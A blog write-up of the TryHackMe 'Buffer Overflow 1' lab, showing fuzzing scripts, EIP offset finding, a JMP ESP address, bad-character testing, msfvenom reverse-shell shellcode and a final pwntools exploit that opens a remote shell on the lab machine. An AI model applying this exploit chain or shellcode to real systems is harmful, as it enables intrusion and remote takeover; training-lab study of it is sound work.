u915

Daniel Cano Merchán - Hacking & Tech

Tryhackme Buffer Overflow 1 OSCP style

First post about the bufferoverflow series on tryhackme. Writeup about the Buffer Overflow 1 OSCP style.

Environment

I used the windows 7 VM 32bits with inmunity debugger inside the tryhackme room.

Windows Firewall and Defender are disabled.

Connection

Remote connection to the machine:

xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea

Basic test

nc 10.10.159.27 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
OVERFLOW1 [value]
OVERFLOW2 [value]
OVERFLOW3 [value]
OVERFLOW4 [value]
OVERFLOW5 [value]
OVERFLOW6 [value]
OVERFLOW7 [value]
OVERFLOW8 [value]
OVERFLOW9 [value]
OVERFLOW10 [value]
EXIT

Fuzz

This is the script I used to fuzz the command OVERFLOW1 [value] , the idea is sending 50 A’s per line with a timeout of 1s until the server crashes because of the bof. I used the library pwn to simplify the scripting process. When the timeout is > 1s I consider the server has been crashed.

#!/bin/python3

from pwn import *

HOST = "10.10.159.27"
PORT = "1337"
LIMIT = 60
CHARS_FUZZ = 50

r = remote(HOST,PORT)
print(r.recvline(timeout=1))

for x in range (1,LIMIT):
	print("[+] SENDING "+str(CHARS_FUZZ*x)+" CHARS, COUNTER:"+str(x))
	r.sendline("OVERFLOW1 "+"A"*CHARS_FUZZ*x)
	if (r.recvline(timeout=1))==b'':
		print("DIED")
		r.close()
		break

This is the trace using the script

python3 fuzz1.py
[+] Opening connection to 10.10.159.27 on port 1337: Done
b'Welcome to OSCP Vulnerable Server! Enter HELP for help.\n'
[+] SENDING 50 CHARS, COUNTER:1
[+] SENDING 100 CHARS, COUNTER:2
[+] SENDING 150 CHARS, COUNTER:3
[+] SENDING 200 CHARS, COUNTER:4
[+] SENDING 250 CHARS, COUNTER:5
[+] SENDING 300 CHARS, COUNTER:6
[+] SENDING 350 CHARS, COUNTER:7
[+] SENDING 400 CHARS, COUNTER:8
[+] SENDING 450 CHARS, COUNTER:9
[+] SENDING 500 CHARS, COUNTER:10
[+] SENDING 550 CHARS, COUNTER:11
[+] SENDING 600 CHARS, COUNTER:12
[+] SENDING 650 CHARS, COUNTER:13
[+] SENDING 700 CHARS, COUNTER:14
[+] SENDING 750 CHARS, COUNTER:15
[+] SENDING 800 CHARS, COUNTER:16
[+] SENDING 850 CHARS, COUNTER:17
[+] SENDING 900 CHARS, COUNTER:18
[+] SENDING 950 CHARS, COUNTER:19
[+] SENDING 1000 CHARS, COUNTER:20
[+] SENDING 1050 CHARS, COUNTER:21
[+] SENDING 1100 CHARS, COUNTER:22
[+] SENDING 1150 CHARS, COUNTER:23
[+] SENDING 1200 CHARS, COUNTER:24
[+] SENDING 1250 CHARS, COUNTER:25
[+] SENDING 1300 CHARS, COUNTER:26
[+] SENDING 1350 CHARS, COUNTER:27
[+] SENDING 1400 CHARS, COUNTER:28
[+] SENDING 1450 CHARS, COUNTER:29
[+] SENDING 1500 CHARS, COUNTER:30
[+] SENDING 1550 CHARS, COUNTER:31
[+] SENDING 1600 CHARS, COUNTER:32
[+] SENDING 1650 CHARS, COUNTER:33
[+] SENDING 1700 CHARS, COUNTER:34
[+] SENDING 1750 CHARS, COUNTER:35
[+] SENDING 1800 CHARS, COUNTER:36
[+] SENDING 1850 CHARS, COUNTER:37
[+] SENDING 1900 CHARS, COUNTER:38
[+] SENDING 1950 CHARS, COUNTER:39
[+] SENDING 2000 CHARS, COUNTER:40
[!] KO
[*] Closed connection to 10.10.159.27 port 1337

So, the server crashes between the range 1950 and 2000 A’s

alt text

Checking with Inmunnity Debugger, the EIP is overwritten with 41414141 (41 is A in Hex Ascii), so the EIP can be controlled.

Finding the exact chars needed

To check how many characters are required to crash the server I used msfpattern with a 2000 characters sample:

msf-pattern_create -l 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

Using nc to send the 2000 chars pattern generated

nc 10.10.159.27 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
OVERFLOW1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

alt text

The EIP value is 6F43396E, now we can recover the exact offset required:

msf-pattern_offset -l 2000 -q 6F43396E
[*] Exact match at offset 1978

So the server crashes with 1978 chars. The idea now is to generate a string of 1978 A’s and add 4 B’s to check if it is possible to rewrite only the EIP with 4 B’s (in Hex Ascii 42424242).

#!/bin/python3

from pwn import *

HOST = "10.10.159.27"
PORT = "1337"
offset = 1978
fuzz = "A"*offset

r = remote(HOST,PORT)
print(r.recvline(timeout=1))

print("[+] SENDING "+str(offset)+" CHARS")
r.sendline("OVERFLOW1 "+str(fuzz)+"BBBB")
if (r.recvline(timeout=1))==b'':
	print("[!] KO")
	r.close()

alt text

Great the EIP contains 42424242 (BBBB)

Finding JMP ESP

The strategy is to use a JMP ESP instruction to point to another memory region without protection and execute code inside, normally a reverse shell.

JMP ESP instruction is FFE4:

/usr/bin/msf-nasm_shell 
nasm > jmp esp
00000000  FFE4              jmp esp

Using mona inside Inmunity debugger to find a memory address without protection, remember that it is little endian.

!mona modules
!mona find -s "\xff\xe4"

alt text

For example: the address 0x755432FD

Because it is little endian:

755432FD -> esp = “\xFD\x32\x54\x75”

Finding Bad chars

Next step is to find the bad chars that can not be used to generate a payload, this is a generic char list:

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Removed \x00 because in 99.99% cases fails.

The process consists in comparing the script payload with badchars on Inmunity Debugger, if a char is not on the registers when you have sent the buffer overflow it is a bad char. Repeat the process until all characters on the list are on the registers from the beginning to the last one:

#!/bin/python3

from pwn import *

HOST = "10.10.159.27"
PORT = "1337"
offset = 1978
fuzz = "A"*offset

badchars = ("\x01\x02\x03\x04\x05\x06\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

r = remote(HOST,PORT)
print(r.recvline(timeout=1))

print("[+] SENDING "+str(offset)+" CHARS + BADCHARS")
r.sendline("OVERFLOW1 "+str(fuzz)+badchars)
if (r.recvline(timeout=1))==b'':
	print("[!] KO")
	r.close()

After the process of trial and error with Inmunity Debugger.. the bad chars are: \x00\x07\xa0\x2e

Payload

To generate the shellcode to exploit the buffer overflow I generated a payload with msfvenom.

Platform x86 (32bits), LHOST my ip, LPORT my nc listener, -b to not using the badchars on the shellcode and finally EXITFUNC to prevent crashing the server when the bufferoverflow is performed, if you don’t do something similar normally you have to restart the server, in some cases if you can not control the server it is a one shot… so better use a technique to prevent one shooting 😎

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.9.😄 LPORT=4433 -f c -v shellcode -b '\x00\x07\xa0\x2e' EXITFUNC=thread              1 ⨯
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char shellcode[] = 
"\xbe\xef\x1a\x36\xd0\xdb\xd6\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x52\x83\xc5\x04\x31\x75\x0e\x03\x9a\x14\xd4\x25\x98\xc1\x9a"
"\xc6\x60\x12\xfb\x4f\x85\x23\x3b\x2b\xce\x14\x8b\x3f\x82\x98"
"\x60\x6d\x36\x2a\x04\xba\x39\x9b\xa3\x9c\x74\x1c\x9f\xdd\x17"
"\x9e\xe2\x31\xf7\x9f\x2c\x44\xf6\xd8\x51\xa5\xaa\xb1\x1e\x18"
"\x5a\xb5\x6b\xa1\xd1\x85\x7a\xa1\x06\x5d\x7c\x80\x99\xd5\x27"
"\x02\x18\x39\x5c\x0b\x02\x5e\x59\xc5\xb9\x94\x15\xd4\x6b\xe5"
"\xd6\x7b\x52\xc9\x24\x85\x93\xee\xd6\xf0\xed\x0c\x6a\x03\x2a"
"\x6e\xb0\x86\xa8\xc8\x33\x30\x14\xe8\x90\xa7\xdf\xe6\x5d\xa3"
"\x87\xea\x60\x60\xbc\x17\xe8\x87\x12\x9e\xaa\xa3\xb6\xfa\x69"
"\xcd\xef\xa6\xdc\xf2\xef\x08\x80\x56\x64\xa4\xd5\xea\x27\xa1"
"\x1a\xc7\xd7\x31\x35\x50\xa4\x03\x9a\xca\x22\x28\x53\xd5\xb5"
"\x4f\x4e\xa1\x29\xae\x71\xd2\x60\x75\x25\x82\x1a\x5c\x46\x49"
"\xda\x61\x93\xde\x8a\xcd\x4c\x9f\x7a\xae\x3c\x77\x90\x21\x62"
"\x67\x9b\xeb\x0b\x02\x66\x7c\x3e\xda\x6c\xdc\x56\xde\x6c\x0d"
"\xf6\x57\x8a\x47\xe8\x31\x05\xf0\x91\x1b\xdd\x61\x5d\xb6\x98"
"\xa2\xd5\x35\x5d\x6c\x1e\x33\x4d\x19\xee\x0e\x2f\x8c\xf1\xa4"
"\x47\x52\x63\x23\x97\x1d\x98\xfc\xc0\x4a\x6e\xf5\x84\x66\xc9"
"\xaf\xba\x7a\x8f\x88\x7e\xa1\x6c\x16\x7f\x24\xc8\x3c\x6f\xf0"
"\xd1\x78\xdb\xac\x87\xd6\xb5\x0a\x7e\x99\x6f\xc5\x2d\x73\xe7"
"\x90\x1d\x44\x71\x9d\x4b\x32\x9d\x2c\x22\x03\xa2\x81\xa2\x83"
"\xdb\xff\x52\x6b\x36\x44\x72\x8e\x92\xb1\x1b\x17\x77\x78\x46"
"\xa8\xa2\xbf\x7f\x2b\x46\x40\x84\x33\x23\x45\xc0\xf3\xd8\x37"
"\x59\x96\xde\xe4\x5a\xb3";

Final script and reverse shell

Adapting my little script to manage the shellcode:

shellcode = ("\xbe\xef\x1a\x36\xd0\xdb\xd6\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x52\x83\xc5\x04\x31\x75\x0e\x03\x9a\x14\xd4\x25\x98\xc1\x9a"
"\xc6\x60\x12\xfb\x4f\x85\x23\x3b\x2b\xce\x14\x8b\x3f\x82\x98"
"\x60\x6d\x36\x2a\x04\xba\x39\x9b\xa3\x9c\x74\x1c\x9f\xdd\x17"
"\x9e\xe2\x31\xf7\x9f\x2c\x44\xf6\xd8\x51\xa5\xaa\xb1\x1e\x18"
"\x5a\xb5\x6b\xa1\xd1\x85\x7a\xa1\x06\x5d\x7c\x80\x99\xd5\x27"
"\x02\x18\x39\x5c\x0b\x02\x5e\x59\xc5\xb9\x94\x15\xd4\x6b\xe5"
"\xd6\x7b\x52\xc9\x24\x85\x93\xee\xd6\xf0\xed\x0c\x6a\x03\x2a"
"\x6e\xb0\x86\xa8\xc8\x33\x30\x14\xe8\x90\xa7\xdf\xe6\x5d\xa3"
"\x87\xea\x60\x60\xbc\x17\xe8\x87\x12\x9e\xaa\xa3\xb6\xfa\x69"
"\xcd\xef\xa6\xdc\xf2\xef\x08\x80\x56\x64\xa4\xd5\xea\x27\xa1"
"\x1a\xc7\xd7\x31\x35\x50\xa4\x03\x9a\xca\x22\x28\x53\xd5\xb5"
"\x4f\x4e\xa1\x29\xae\x71\xd2\x60\x75\x25\x82\x1a\x5c\x46\x49"
"\xda\x61\x93\xde\x8a\xcd\x4c\x9f\x7a\xae\x3c\x77\x90\x21\x62"
"\x67\x9b\xeb\x0b\x02\x66\x7c\x3e\xda\x6c\xdc\x56\xde\x6c\x0d"
"\xf6\x57\x8a\x47\xe8\x31\x05\xf0\x91\x1b\xdd\x61\x5d\xb6\x98"
"\xa2\xd5\x35\x5d\x6c\x1e\x33\x4d\x19\xee\x0e\x2f\x8c\xf1\xa4"
"\x47\x52\x63\x23\x97\x1d\x98\xfc\xc0\x4a\x6e\xf5\x84\x66\xc9"
"\xaf\xba\x7a\x8f\x88\x7e\xa1\x6c\x16\x7f\x24\xc8\x3c\x6f\xf0"
"\xd1\x78\xdb\xac\x87\xd6\xb5\x0a\x7e\x99\x6f\xc5\x2d\x73\xe7"
"\x90\x1d\x44\x71\x9d\x4b\x32\x9d\x2c\x22\x03\xa2\x81\xa2\x83"
"\xdb\xff\x52\x6b\x36\x44\x72\x8e\x92\xb1\x1b\x17\x77\x78\x46"
"\xa8\xa2\xbf\x7f\x2b\x46\x40\x84\x33\x23\x45\xc0\xf3\xd8\x37"
"\x59\x96\xde\xe4\x5a\xb3")

The final script looks like this:

#!/bin/python3

from pwn import *

HOST = "10.10.159.27"
PORT = "1337"
offset = 1978
esp = "\xfd\x32\x54\x75" 

nop = "\x90"*20

shellcode = ("\xbe\xef\x1a\x36\xd0\xdb\xd6\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x52\x83\xc5\x04\x31\x75\x0e\x03\x9a\x14\xd4\x25\x98\xc1\x9a"
"\xc6\x60\x12\xfb\x4f\x85\x23\x3b\x2b\xce\x14\x8b\x3f\x82\x98"
"\x60\x6d\x36\x2a\x04\xba\x39\x9b\xa3\x9c\x74\x1c\x9f\xdd\x17"
"\x9e\xe2\x31\xf7\x9f\x2c\x44\xf6\xd8\x51\xa5\xaa\xb1\x1e\x18"
"\x5a\xb5\x6b\xa1\xd1\x85\x7a\xa1\x06\x5d\x7c\x80\x99\xd5\x27"
"\x02\x18\x39\x5c\x0b\x02\x5e\x59\xc5\xb9\x94\x15\xd4\x6b\xe5"
"\xd6\x7b\x52\xc9\x24\x85\x93\xee\xd6\xf0\xed\x0c\x6a\x03\x2a"
"\x6e\xb0\x86\xa8\xc8\x33\x30\x14\xe8\x90\xa7\xdf\xe6\x5d\xa3"
"\x87\xea\x60\x60\xbc\x17\xe8\x87\x12\x9e\xaa\xa3\xb6\xfa\x69"
"\xcd\xef\xa6\xdc\xf2\xef\x08\x80\x56\x64\xa4\xd5\xea\x27\xa1"
"\x1a\xc7\xd7\x31\x35\x50\xa4\x03\x9a\xca\x22\x28\x53\xd5\xb5"
"\x4f\x4e\xa1\x29\xae\x71\xd2\x60\x75\x25\x82\x1a\x5c\x46\x49"
"\xda\x61\x93\xde\x8a\xcd\x4c\x9f\x7a\xae\x3c\x77\x90\x21\x62"
"\x67\x9b\xeb\x0b\x02\x66\x7c\x3e\xda\x6c\xdc\x56\xde\x6c\x0d"
"\xf6\x57\x8a\x47\xe8\x31\x05\xf0\x91\x1b\xdd\x61\x5d\xb6\x98"
"\xa2\xd5\x35\x5d\x6c\x1e\x33\x4d\x19\xee\x0e\x2f\x8c\xf1\xa4"
"\x47\x52\x63\x23\x97\x1d\x98\xfc\xc0\x4a\x6e\xf5\x84\x66\xc9"
"\xaf\xba\x7a\x8f\x88\x7e\xa1\x6c\x16\x7f\x24\xc8\x3c\x6f\xf0"
"\xd1\x78\xdb\xac\x87\xd6\xb5\x0a\x7e\x99\x6f\xc5\x2d\x73\xe7"
"\x90\x1d\x44\x71\x9d\x4b\x32\x9d\x2c\x22\x03\xa2\x81\xa2\x83"
"\xdb\xff\x52\x6b\x36\x44\x72\x8e\x92\xb1\x1b\x17\x77\x78\x46"
"\xa8\xa2\xbf\x7f\x2b\x46\x40\x84\x33\x23\x45\xc0\xf3\xd8\x37"
"\x59\x96\xde\xe4\x5a\xb3")


r = remote(HOST,PORT)
print(r.recvline(timeout=1))

print("[+] SENDING PAYLOAD")
payload = "A"*offset+esp+nop+str(shellcode)
r.sendline("OVERFLOW1 "+payload)

if (r.recvline(timeout=1))==b'':
	print("[!] KO")
	r.close()

There are 20 Nop(\x90) operations to prevent race write operations.

Finally setting up a nc listener and triggering the buffer overflow:

nc -lvp 4433
listening on [any] 4433 ...
10.10.159.27: inverse host lookup failed: Unknown host
connect to [10.9.😄] from (UNKNOWN) [10.10.159.27] 49321
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin


Thanks for reading!